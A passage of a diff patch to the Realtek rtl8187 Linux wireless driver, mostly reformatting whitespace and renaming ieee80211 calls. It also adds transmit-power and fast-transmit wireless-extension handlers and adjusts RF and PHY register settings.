SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, 